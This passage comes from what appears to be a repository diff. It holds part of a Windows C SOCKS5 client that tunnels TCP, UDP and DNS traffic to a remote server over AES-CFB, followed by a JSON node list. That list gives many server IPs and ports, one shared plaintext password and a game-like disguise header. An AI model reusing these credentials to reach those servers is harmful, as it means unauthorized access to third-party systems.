ua->owner=b; ua->fd=WSASocket(AF_INET,SOCK_DGRAM,IPPROTO_UDP,NULL,0,0); if(ua->fd==INVALID_SOCKET){free(ua); return NULL;}
SOCKADDR_IN sin; ZeroMemory(&sin,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=htons(0); InetPtonA(AF_INET,b->cfg->listen_host,&sin.sin_addr);
if (bind(ua->fd,(SOCKADDR*)&sin,sizeof(sin))!=0){CLOSESOCK(ua->fd); free(ua); return NULL;}
struct sockaddr_storage ss; int sslen=0; if(!resolve_host_port(b->cfg->remote_host,(uint16_t)b->cfg->remote_port,&ss,&sslen)){CLOSESOCK(ua->fd); free(ua); return NULL;}
ua->remote_ss=ss; ua->remote_len=sslen; memcpy(ua->key32,b->key32,32);
CreateTimerQueueTimer(&ua->timer,NULL,udp_map_cleaner_cb,ua,5000,5000,WT_EXECUTEDEFAULT);
LOGI("UDP_ASSOC created socket=%llu", (unsigned long long)ua->fd);
return ua;
}
static bool udp_parse_client_packet(const uint8_t* buf,size_t len,size_t *addr_off,size_t *payload_off){
if(len<3) return false; if(buf[0]!=0||buf[1]!=0||buf[2]!=0) return false; size_t off=3;
if(len<off+1) return false; uint8_t atyp=buf[off++];
if(atyp==0x01){ if(len<off+4+2) return false; off+=4+2; }
else if(atyp==0x03){ if(len<off+1) return false; uint8_t l=buf[off++]; if(len<off+l+2) return false; off+=l+2; }
else if(atyp==0x04){ if(len<off+16+2) return false; off+=16+2; }
else return false; *addr_off=3; *payload_off=off; return true;
}
static bool udp_clone_addr_block(const uint8_t* buf,size_t addr_off,size_t payload_off,uint8_t* out,size_t* outlen){
size_t n=payload_off-addr_off; if(n>128) return false; memcpy(out,buf+addr_off,n); *outlen=n; return true;
}
static void udp_sendto_remote(udp_assoc_t* ua,const void* data,size_t len){
sendto(ua->fd,(const char*)data,(int)len,0,(SOCKADDR*)&ua->remote_ss,ua->remote_len);
}
static void udp_poll_once(udp_assoc_t* ua) {
if (!ua) return;
u_long nb=1; ioctlsocket(ua->fd, FIONBIO, &nb);
for (;;) {
uint8_t buf[8192];
SOCKADDR_STORAGE from; int fromlen = sizeof(from);
int n = recvfrom(ua->fd, (char*)buf, (int)sizeof(buf), 0, (SOCKADDR*)&from, &fromlen);
if (n < 0) { int e=WSAGetLastError(); if (e==WSAEWOULDBLOCK) break; else { LOGE("udp recvfrom error=%d", e); break; } }
bool from_remote = false;
if (from.ss_family == ua->remote_ss.ss_family) {
if (from.ss_family == AF_INET) {
SOCKADDR_IN *a=(SOCKADDR_IN*)&from, *b=(SOCKADDR_IN*)&ua->remote_ss;
from_remote = (a->sin_port==b->sin_port && a->sin_addr.S_un.S_addr==b->sin_addr.S_un.S_addr);
} else if (from.ss_family == AF_INET6) {
SOCKADDR_IN6 *a=(SOCKADDR_IN6*)&from, *b=(SOCKADDR_IN6*)&ua->remote_ss;
from_remote = (a->sin6_port==b->sin6_port && memcmp(&a->sin6_addr,&b->sin6_addr,sizeof(a->sin6_addr))==0);
}
}
if (from_remote) {
if (n < 16) continue;
const uint8_t* iv = buf;
const uint8_t* ct = buf + 16; size_t ctlen = (size_t)n - 16;
uint8_t plain[8192];
int m = aes_cfb_one_shot(ua->key32, iv, FALSE, ct, ctlen, plain);
if (m <= 0) continue;
size_t off = 0; if (m < 1) continue;
uint8_t atyp = plain[off++];
if (atyp == 0x01) off += 4 + 2;
else if (atyp == 0x03) { if (off >= (size_t)m) continue; uint8_t l=plain[off++]; off += l + 2; }
else if (atyp == 0x04) off += 16 + 2;
else continue;
if ((size_t)m < off) continue;
size_t addrlen = off; size_t payload_len = (size_t)m - off;
int idx = udp_map_find(ua, plain, addrlen);
SOCKADDR_STORAGE dst; int dstlen = 0;
if (idx >= 0) { dst = ua->map[idx].client_ss; dstlen = ua->map[idx].client_len; }
else if (ua->has_last) { dst = ua->last_client; dstlen = ua->last_client_len; }
else continue;
uint8_t out[8192];
size_t outlen = 3 + addrlen + payload_len;
if (outlen > sizeof(out)) continue;
out[0] = 0; out[1] = 0; out[2] = 0;
memcpy(out + 3, plain, addrlen);
memcpy(out + 3 + addrlen, plain + addrlen, payload_len);
sendto(ua->fd, (const char*)out, (int)outlen, 0, (SOCKADDR*)&dst, dstlen);
} else {
size_t addr_off=0, payload_off=0;
if (!udp_parse_client_packet(buf, (size_t)n, &addr_off, &payload_off)) continue;
uint8_t keybuf[128]; size_t klen=0;
if (!udp_clone_addr_block(buf, addr_off, payload_off, keybuf, &klen)) continue;
int idx = udp_map_find(ua, keybuf, klen);
if (idx < 0) idx = udp_map_alloc_slot(ua);
ua->map[idx].used = true; ua->map[idx].ts = time(NULL);
memcpy(ua->map[idx].key, keybuf, klen); ua->map[idx].key_len = klen;
ua->map[idx].client_ss = from; ua->map[idx].client_len = fromlen;
ua->last_client = from; ua->last_client_len = fromlen; ua->has_last = true;
uint8_t iv[16]; rand_bytes(iv, 16);
const uint8_t* plain = buf + 3;
size_t plain_len = (size_t)n - 3;
uint8_t ct[8192];
int m = aes_cfb_one_shot(ua->key32, iv, TRUE, plain, plain_len, ct);
if (m <= 0) continue;
uint8_t out[8192];
if ((size_t)m + 16 > sizeof(out)) continue;
memcpy(out, iv, 16);
memcpy(out + 16, ct, m);
udp_sendto_remote(ua, out, (size_t)m + 16);
}
}
}
// -------------------- server env --------------------
typedef struct { HANDLE iocp; SOCKET listen_fd; config_t cfg; } server_env_t;
static server_env_t g_env;
// -------------------- TCP helpers + post wrappers --------------------
typedef struct IO_OP IO_OP;
static void set_tcp_opts(SOCKET s){ int on=1,sz=1<<18; setsockopt(s,IPPROTO_TCP,TCP_NODELAY,(char*)&on,sizeof(on)); setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char*)&sz,sizeof(sz)); setsockopt(s,SOL_SOCKET,SO_RCVBUF,(char*)&sz,sizeof(sz)); }
static IO_OP* post_recv_(bridge_t* b, SOCKET s, OPKIND kind, DWORD cap){
if (!b || b->closing) return NULL; // 关闭中不再投递
IO_OP* op=op_alloc(kind,cap);
DWORD flags=0,recvd=0;
int r=WSARecv(s,&op->buf,1,&recvd,&flags,&op->ol,NULL);
int e=(r!=0)?WSAGetLastError():0;
if(r!=0 && e!=WSA_IO_PENDING){ LOGD("WSARecv kind=%d err=%d", (int)kind, e); op_free(op); return NULL; }
InterlockedIncrement(&b->pending_ops);
LOGD("post RECV kind=%d cap=%lu (pending_ops=%ld)", (int)kind, (unsigned long)cap, InterlockedCompareExchange(&b->pending_ops,0,0));
return op;
}
static IO_OP* post_send_(bridge_t* b, SOCKET s, OPKIND kind, const void* data, size_t len){
if (!b || b->closing) return NULL; // 关闭中不再投递
IO_OP* op=op_alloc(kind,(DWORD)len); memcpy(op->storage,data,len);
DWORD sent=0;
int r=WSASend(s,&op->buf,1,&sent,0,&op->ol,NULL);
int e=(r!=0)?WSAGetLastError():0;
if(r!=0 && e!=WSA_IO_PENDING){ LOGD("WSASend kind=%d err=%d", (int)kind, e); op_free(op); return NULL; }
InterlockedIncrement(&b->pending_ops);
LOGD("post SEND kind=%d len=%zu (pending_ops=%ld)", (int)kind, len, InterlockedCompareExchange(&b->pending_ops,0,0));
return op;
}
// forward decl
static bool connect_remote_async(bridge_t* b);
static void after_remote_connected(bridge_t* b);
// -------------------- CONNECT & STREAM --------------------
static void after_remote_connected(bridge_t* b){
LOGI("remote connected, sending IV + addr+mx");
dynbuf_t ab; dbuf_init(&ab);
if(!encode_addr(b->req.atyp,b->req.host,b->req.port,&ab,true)){ socks5_send_reply_log(b->cli_fd,0x04,"0.0.0.0",0); dbuf_free(&ab); bridge_start_close(b); return; }
size_t mx_len=strlen(b->cfg->mx_head); if(mx_len>255){ dbuf_free(&ab); bridge_start_close(b); return; }
uint8_t ml=(uint8_t)mx_len; dbuf_append(&ab,&ml,1); dbuf_append(&ab,b->cfg->mx_head,mx_len);
uint8_t iv[16]; rand_bytes(iv,16); aes_cfb_init(&b->up_enc,b->key32,iv); b->up_ready=TRUE;
uint8_t* ct=(uint8_t*)malloc(ab.len);
ULONG m=0; aes_cfb_update(&b->up_enc,TRUE,(PUCHAR)ab.data,(ULONG)ab.len,ct,&m);
uint8_t* pkt=(uint8_t*)malloc(16+m); memcpy(pkt,iv,16); memcpy(pkt+16,ct,m);
post_send_(b, b->srv_fd, OP_SRV_SEND, pkt, 16+m);
socks5_send_reply_log(b->cli_fd,0x00,"0.0.0.0",0);
free(ct); free(pkt); dbuf_free(&ab);
b->state=ST_STREAM;
post_recv_(b, b->cli_fd, OP_CLI_RECV, b->cfg->recv_buf);
post_recv_(b, b->srv_fd, OP_SRV_RECV, b->cfg->recv_buf);
LOGI("enter STREAM (+posted cli/srv recv)");
}
static bool connect_remote_async(bridge_t* b){
b->srv_fd=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,WSA_FLAG_OVERLAPPED); if(b->srv_fd==INVALID_SOCKET){ LOGE("WSASocket for remote failed"); return false; }
CreateIoCompletionPort((HANDLE)b->srv_fd,g_env.iocp,(ULONG_PTR)b,0);
SOCKADDR_IN l; ZeroMemory(&l,sizeof(l)); l.sin_family=AF_INET; bind(b->srv_fd,(SOCKADDR*)&l,sizeof(l));
struct sockaddr_storage ss; int sslen=0; if(!resolve_host_port(b->cfg->remote_host,(uint16_t)b->cfg->remote_port,&ss,&sslen)) return false;
IO_OP* op=op_alloc(OP_CONNECT,0);
DWORD bytes=0;
LOGI("ConnectEx to remote server %s:%u", b->cfg->remote_host, (unsigned)b->cfg->remote_port);
BOOL ok=pConnectEx(b->srv_fd,(SOCKADDR*)&ss,sslen,NULL,0,&bytes,&op->ol);
int e = ok?0:WSAGetLastError();
if(!ok && e!=ERROR_IO_PENDING){ LOGE("ConnectEx err=%d", e); op_free(op); return false; }
InterlockedIncrement(&b->pending_ops);
b->state=ST_CONNECTING_REMOTE; return true;
}
// -------------------- DNS over tunnel (sync) --------------------
static bool start_dns_over_tunnel_sync(bridge_t* b, const char* host) {
const char* cached = dns_cache_get(&b->dns_cache, host);
if (cached) {
LOGI("DNS cache hit: %s -> %s", host, cached);
strncpy(b->req.host, cached, sizeof(b->req.host)-1); b->req.atyp=0x01;
return connect_remote_async(b);
}
uint8_t q[512]; size_t qlen=0; uint16_t qid=0;
if (dns_build_query(host, q, sizeof(q), &qlen, &qid) != 0) { LOGE("dns_build_query failed for %s", host); return false; }
dynbuf_t ab; dbuf_init(&ab);
if (!encode_addr(0x01, "8.8.8.8", 53, &ab, false)) { dbuf_free(&ab); LOGE("encode_addr for DNS failed"); return false; }
size_t plain_len = ab.len + qlen; uint8_t* plain = (uint8_t*)malloc(plain_len);
memcpy(plain, ab.data, ab.len); memcpy(plain+ab.len, q, qlen);
uint8_t iv[16]; rand_bytes(iv,16);
uint8_t ct[1024]; int m = aes_cfb_one_shot(b->key32, iv, TRUE, plain, plain_len, ct);
if (m <= 0) { free(plain); dbuf_free(&ab); LOGE("dns encrypt failed"); return false; }
uint8_t out[1024]; memcpy(out, iv, 16); memcpy(out+16, ct, m);
SOCKET us = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, 0); if (us==INVALID_SOCKET){ free(plain); dbuf_free(&ab); LOGE("udp socket for DNS failed"); return false; }
struct sockaddr_storage r; int rlen=0; if(!resolve_host_port(b->cfg->remote_host,(uint16_t)b->cfg->remote_port,&r,&rlen)){ CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; }
int to_ms = b->cfg->connect_timeout*1000; setsockopt(us,SOL_SOCKET,SO_RCVTIMEO,(char*)&to_ms,sizeof(to_ms));
LOGI("DNS over tunnel: %s -> 8.8.8.8:53 (qid=0x%04x), sending %d bytes", host, qid, 16+m);
int sret = sendto(us,(const char*)out,16+m,0,(SOCKADDR*)&r,rlen);
if (sret<0){ int e=WSAGetLastError(); LOGE("DNS sendto err=%d", e); CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; }
uint8_t rbuf[2048]; SOCKADDR_STORAGE from; int fromlen=sizeof(from);
int n = recvfrom(us,(char*)rbuf,(int)sizeof(rbuf),0,(SOCKADDR*)&from,&fromlen);
if (n <= 0) { int e=WSAGetLastError(); LOGE("DNS recvfrom timeout/err=%d", e); CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; }
LOGI("DNS over tunnel: received %d bytes", n);
if (n < 16) { CLOSESOCK(us); free(plain); dbuf_free(&ab); LOGE("DNS resp too short"); return false; }
uint8_t plain2[2048];
int m2 = aes_cfb_one_shot(b->key32, rbuf, FALSE, rbuf+16, (size_t)n-16, plain2);
if (m2 <= 0) { CLOSESOCK(us); free(plain); dbuf_free(&ab); LOGE("DNS decrypt failed"); return false; }
size_t off = 0; if (m2 < 1) { CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; }
uint8_t atyp = plain2[off++];
if (atyp == 0x01) off += 4 + 2;
else if (atyp == 0x03) { if (off >= (size_t)m2) { CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; } uint8_t l=plain2[off++]; off += l + 2; }
else if (atyp == 0x04) off += 16 + 2;
else { CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; }
if ((size_t)m2 <= off) { CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; }
char ip[INET_ADDRSTRLEN];
if (dns_parse_a(plain2 + off, (size_t)m2 - off, ip, sizeof(ip)) != 0) {
LOGE("DNS parse A failed for %s", host);
CLOSESOCK(us); free(plain); dbuf_free(&ab); return false;
}
LOGI("DNS over tunnel OK: %s -> %s", host, ip);
dns_cache_put(&b->dns_cache, host, ip, 300);
strncpy(b->req.host, ip, sizeof(b->req.host)-1); b->req.atyp=0x01;
CLOSESOCK(us); free(plain); dbuf_free(&ab);
return connect_remote_async(b);
}
// -------------------- handlers --------------------
static void handle_greeting(bridge_t* b, const uint8_t* p, size_t n) {
size_t consumed=0;
int r = parse_socks5_greeting(p, n, &consumed);
if (r < 0) { LOGE("S5 greeting invalid"); bridge_start_close(b); return; }
if (r == 0) return;
dbuf_consume(&b->cli_in, consumed);
uint8_t resp[2]={0x05,0x00};
post_send_(b, b->cli_fd, OP_CLI_SEND, resp, 2);
b->state=ST_REQUEST;
LOGI("S5 greeting ok");
}
static void handle_request(bridge_t* b, const uint8_t* p, size_t n) {
size_t consumed=0; socks5_req_t rq; int r=parse_socks5_request(p,n,&rq,&consumed);
if (r < 0) { LOGE("S5 request invalid"); bridge_start_close(b); return; }
if (r == 0) return;
dbuf_consume(&b->cli_in, consumed); b->req=rq;
LOGI("S5 request cmd=0x%02x atyp=0x%02x host=%s port=%u", rq.cmd, rq.atyp, rq.host, (unsigned)rq.port);
if (b->req.cmd == 0x01) {
if (b->req.atyp==0x03 && (g_dns_always || host_in_domain_list(b->req.host))) {
LOGI("%s DNS-over-tunnel for %s", g_dns_always ? "force" : "match list, use", b->req.host);
if (!start_dns_over_tunnel_sync(b, b->req.host)) {
socks5_send_reply_log(b->cli_fd, 0x04, "0.0.0.0", 0); bridge_start_close(b); return;
}
return;
}
if (!connect_remote_async(b)) { socks5_send_reply_log(b->cli_fd,0x05,"0.0.0.0",0); bridge_start_close(b); return; }
} else if (b->req.cmd == 0x03) {
b->udp_assoc = udp_assoc_create(b);
if (!b->udp_assoc) { socks5_send_reply_log(b->cli_fd,0x01,"0.0.0.0",0); bridge_start_close(b); return; }
SOCKADDR_IN sin; int slen=sizeof(sin); getsockname(b->udp_assoc->fd,(SOCKADDR*)&sin,&slen);
char bind_ip[INET_ADDRSTRLEN]; InetNtopA(AF_INET,&sin.sin_addr,bind_ip,sizeof(bind_ip));
socks5_send_reply_log(b->cli_fd,0x00,bind_ip,ntohs(sin.sin_port));
b->state=ST_UDP_ASSOC;
LOGI("enter UDP_ASSOC bind=%s:%u", bind_ip, (unsigned)ntohs(sin.sin_port));
} else {
socks5_send_reply_log(b->cli_fd,0x07,"0.0.0.0",0); bridge_start_close(b); return;
}
}
// -------------------- accept path --------------------
static void post_accept(SOCKET listen_fd){
IO_OP* op=op_alloc(OP_ACCEPT,2*(sizeof(SOCKADDR_STORAGE)+16));
SOCKET as=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,WSA_FLAG_OVERLAPPED);
DWORD bytes=0; BOOL ok=pAcceptEx(listen_fd,as,op->storage,0,sizeof(SOCKADDR_STORAGE)+16,sizeof(SOCKADDR_STORAGE)+16,&bytes,&op->ol);
if(!ok){ int e=WSAGetLastError(); if(e!=ERROR_IO_PENDING){ closesocket(as); op_free(op); LOGE("AcceptEx err=%d", e);} }
op->buf.buf=(char*)(UINT_PTR)as; // stash accepted socket handle
}
// -------------------- worker thread --------------------
static DWORD WINAPI worker_thread(LPVOID arg){
(void)arg;
for(;;){
DWORD bytes=0; ULONG_PTR key=0; OVERLAPPED* pol=NULL; BOOL ok=GetQueuedCompletionStatus(g_env.iocp,&bytes,&key,&pol,INFINITE);
DWORD gle = ok ? 0 : GetLastError();
if(!pol){
LOGI("worker exit signal");
break;
}
bridge_t* b=(bridge_t*)key; IO_OP* op=(IO_OP*)pol;
if(op->kind==OP_ACCEPT){
SOCKET as=(SOCKET)(UINT_PTR)op->buf.buf;
setsockopt(as,SOL_SOCKET,SO_UPDATE_ACCEPT_CONTEXT,(char*)&g_env.listen_fd,sizeof(g_env.listen_fd));
set_tcp_opts(as);
SOCKADDR *lpLocal=NULL,*lpRemote=NULL; int lLocal=0,lRemote=0;
pGetAcceptExSockaddrs(op->storage,0,sizeof(SOCKADDR_STORAGE)+16,sizeof(SOCKADDR_STORAGE)+16, &lpLocal,&lLocal,&lpRemote,&lRemote);
char peer[128]; sockaddr_to_string(lpRemote,lRemote,peer,sizeof(peer));
LOGI("accepted socket=%llu from %s", (unsigned long long)as, peer[0]?peer:"?");
bridge_t* nb=(bridge_t*)calloc(1,sizeof(*nb));
nb->cfg=&g_env.cfg; nb->cli_fd=as; nb->srv_fd=INVALID_SOCKET; nb->state=ST_GREETING; dbuf_init(&nb->cli_in); dbuf_init(&nb->srv_in);
kdf_evp_bytes_to_key_md5((const uint8_t*)g_env.cfg.password, strlen(g_env.cfg.password), nb->key32);
dns_cache_init(&nb->dns_cache);
nb->closing=0; nb->pending_ops=0; nb->freed=0;
if (!CreateIoCompletionPort((HANDLE)as, g_env.iocp, (ULONG_PTR)nb, 0)) {
LOGE("CreateIoCompletionPort(as) failed gle=%lu", GetLastError());
closesocket(as); op_free(op); free(nb); continue;
}
post_recv_(nb, as, OP_CLI_RECV, nb->cfg->recv_buf);
post_accept(g_env.listen_fd);
op_free(op);
continue;
}
if(!b){
LOGE("completion key is NULL (gle=%lu), drop op kind=%d", gle, (int)op->kind);
op_free(op);
continue;
}
// 对取消的 IOERROR_OPERATION_ABORTED做容错
if (!ok && gle==ERROR_OPERATION_ABORTED) {
LOGD("GQCS: op kind=%d canceled", (int)op->kind);
op_free(op);
LONG left = InterlockedDecrement(&b->pending_ops);
bridge_try_free(b);
continue;
}
switch(op->kind){
case OP_CLI_RECV: {
LOGD("GQCS: CLI_RECV %lu bytes", bytes);
if (bytes==0){ op_free(op); bridge_start_close(b); break; }
dbuf_append(&b->cli_in, op->storage, bytes); op_free(op);
if (b->state==ST_GREETING){ handle_greeting(b,(uint8_t*)b->cli_in.data,b->cli_in.len); }
if (b->state==ST_REQUEST){ handle_request (b,(uint8_t*)b->cli_in.data,b->cli_in.len); }
if (b->state==ST_STREAM){
if (!b->up_ready){ bridge_start_close(b); break; }
if (b->cli_in.len){
uint8_t* ct=(uint8_t*)malloc(b->cli_in.len); ULONG m=0;
aes_cfb_update(&b->up_enc,TRUE,(PUCHAR)b->cli_in.data,(ULONG)b->cli_in.len,ct,&m);
LOGD("STREAM up: in=%zu enc=%lu", b->cli_in.len, (unsigned long)m);
dbuf_consume(&b->cli_in,b->cli_in.len); if(m) post_send_(b,b->srv_fd,OP_SRV_SEND,ct,m); else free(ct);
}
} else if (b->state==ST_UDP_ASSOC){
dbuf_consume(&b->cli_in,b->cli_in.len);
if (b->udp_assoc) udp_poll_once(b->udp_assoc);
}
if (!b->closing && b->cli_fd!=INVALID_SOCKET) post_recv_(b, b->cli_fd, OP_CLI_RECV, b->cfg->recv_buf);
} break;
case OP_SRV_RECV: {
LOGD("GQCS: SRV_RECV %lu bytes", bytes);
if (bytes==0){ op_free(op); bridge_start_close(b); break; }
dbuf_append(&b->srv_in, op->storage, bytes); op_free(op);
if(!b->down_ready){
if(b->srv_in.len<16){ if(!b->closing) post_recv_(b,b->srv_fd,OP_SRV_RECV,b->cfg->recv_buf); break; }
memcpy(b->iv_server,b->srv_in.data,16); dbuf_consume(&b->srv_in,16);
aes_cfb_init(&b->down_dec,b->key32,b->iv_server); b->down_ready=TRUE;
LOGI("downstream IV received");
}
if(b->srv_in.len){
uint8_t* pt=(uint8_t*)malloc(b->srv_in.len); ULONG m=0;
aes_cfb_update(&b->down_dec,FALSE,(PUCHAR)b->srv_in.data,(ULONG)b->srv_in.len,pt,&m);
LOGD("STREAM down: in=%zu dec=%lu", b->srv_in.len, (unsigned long)m);
log_preview("HTTP preview", pt, (size_t)m);
dbuf_consume(&b->srv_in,b->srv_in.len); if(m) post_send_(b,b->cli_fd,OP_CLI_SEND,pt,m); else free(pt);
}
if (!b->closing && b->srv_fd!=INVALID_SOCKET) post_recv_(b,b->srv_fd,OP_SRV_RECV,b->cfg->recv_buf);
} break;
case OP_CLI_SEND:
case OP_SRV_SEND:
LOGD("GQCS: %s_SEND %lu bytes", (op->kind==OP_CLI_SEND)?"CLI":"SRV", bytes);
op_free(op);
break;
case OP_CONNECT:
LOGI("ConnectEx completed ok=%d gle=%lu", ok, (unsigned long)gle);
op_free(op);
if(!ok){ socks5_send_reply_log(b->cli_fd,0x05,"0.0.0.0",0); bridge_start_close(b); break; }
setsockopt(b->srv_fd,SOL_SOCKET,SO_UPDATE_CONNECT_CONTEXT,NULL,0); set_tcp_opts(b->srv_fd);
after_remote_connected(b);
break;
default:
LOGE("unknown op kind=%d", (int)op->kind);
op_free(op);
break;
}
if (op->kind!=OP_ACCEPT) {
LONG left = InterlockedDecrement(&b->pending_ops);
LOGD("op done kind=%d, pending_ops=%ld", (int)op->kind, left);
bridge_try_free(b);
}
}
return 0;
}
// -------------------- main --------------------
int main(int argc, char** argv){
WSADATA w; WSAStartup(MAKEWORD(2,2), &w);
config_t cfg; parse_args(argc, argv, &cfg);
g_env.cfg = cfg;
LOGI("=== mx iocp socks5 ===");
LOGI("listen %s:%d remote %s:%d verbose=%d", cfg.listen_host, cfg.listen_port, cfg.remote_host, cfg.remote_port, cfg.verbose);
LOGI("udp_timeout=%ds connect_timeout=%ds", cfg.udp_timeout, cfg.connect_timeout);
SOCKET ls=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,WSA_FLAG_OVERLAPPED); if(ls==INVALID_SOCKET){ LOGE("WSASocket listen failed"); return 1; }
SOCKADDR_IN sin; ZeroMemory(&sin,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=htons((uint16_t)cfg.listen_port); InetPtonA(AF_INET,cfg.listen_host,&sin.sin_addr);
if(bind(ls,(SOCKADDR*)&sin,sizeof(sin))!=0){ LOGE("bind failed"); return 1; }
if(listen(ls,SOMAXCONN)!=0){ LOGE("listen failed"); return 1; }
if(!get_ext_fns(ls)){ LOGE("get_ext_fns failed"); return 1; }
g_env.iocp=CreateIoCompletionPort(INVALID_HANDLE_VALUE,NULL,0,MAX_WORKERS); g_env.listen_fd=ls;
CreateIoCompletionPort((HANDLE)ls,g_env.iocp,0,0);
SYSTEM_INFO si; GetSystemInfo(&si); int nthreads=(int)si.dwNumberOfProcessors; if(nthreads<2) nthreads=2;
for(int i=0;i<nthreads;i++){ HANDLE th=CreateThread(NULL,0,worker_thread,NULL,0,NULL); CloseHandle(th); }
for (int i=0;i<MAX_PENDING_ACCEPT;i++) post_accept(ls);
LOGI("ready.");
Sleep(INFINITE);
WSACleanup(); return 0;
}

618
python/.ss_client_gui.json Normal file
View File

@ -0,0 +1,618 @@
{
"script_path": "/home/galaxy/mx",
"nodes": [
{
"name": "test",
"server": "121.14.152.149",
"port": 10004,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "韩国专线139",
"server": "112.54.161.34",
"port": 22404,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "欧洲专线777",
"server": "123.125.14.84",
"port": 22405,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "欧洲专线857",
"server": "106.38.203.2",
"port": 22405,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "欧洲专线155",
"server": "106.38.203.3",
"port": 22407,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "香港专线254",
"server": "122.13.18.53",
"port": 10003,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "国际专线665",
"server": "120.241.69.8",
"port": 10000,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "首尔专线446",
"server": "202.101.50.6",
"port": 22406,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "国际专线91",
"server": "183.60.131.171",
"port": 10000,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "上海专线776",
"server": "113.31.103.81",
"port": 22407,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "上海专线336",
"server": "113.31.103.81",
"port": 22404,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "北美专线588",
"server": "103.238.186.110",
"port": 22405,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "北美专线784",
"server": "117.143.9.35",
"port": 22411,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "香港专线992",
"server": "59.37.81.100",
"port": 10002,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "俄罗斯专线310",
"server": "223.71.245.185",
"port": 10009,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "香港专线886",
"server": "111.45.30.118",
"port": 10003,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "新加坡专线135",
"server": "183.232.156.113",
"port": 22404,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "新加坡专线146",
"server": "183.232.156.113",
"port": 22406,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "北美专线945",
"server": "101.227.72.144",
"port": 22405,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "北美专线043",
"server": "117.143.9.35",
"port": 22407,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "日服专线616",
"server": "117.143.9.6",
"port": 22405,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "日本专线735",
"server": "117.143.9.6",
"port": 22406,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "日服专线168",
"server": "210.51.35.138",
"port": 22405,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "北美专线846",
"server": "101.227.72.144",
"port": 22405,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "北美专线868",
"server": "101.227.72.144",
"port": 22404,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "日服专线493",
"server": "103.238.186.102",
"port": 22407,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "日本专线246",
"server": "210.51.35.137",
"port": 22409,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "日服专线239",
"server": "210.51.35.137",
"port": 22411,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "日本专线426",
"server": "103.238.186.102",
"port": 22404,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "亚服专线854",
"server": "117.143.9.42",
"port": 22404,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "亚服专线354",
"server": "103.238.186.114",
"port": 22410,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "亚服专线008",
"server": "103.238.186.113",
"port": 22410,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "亚服专线558",
"server": "103.238.186.115",
"port": 22411,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "新加坡专线427",
"server": "14.119.67.103",
"port": 22404,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "首尔专线5",
"server": "210.51.35.248",
"port": 22404,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "首尔专线265",
"server": "202.101.50.1",
"port": 22407,
"password": "dwz1GtF7",
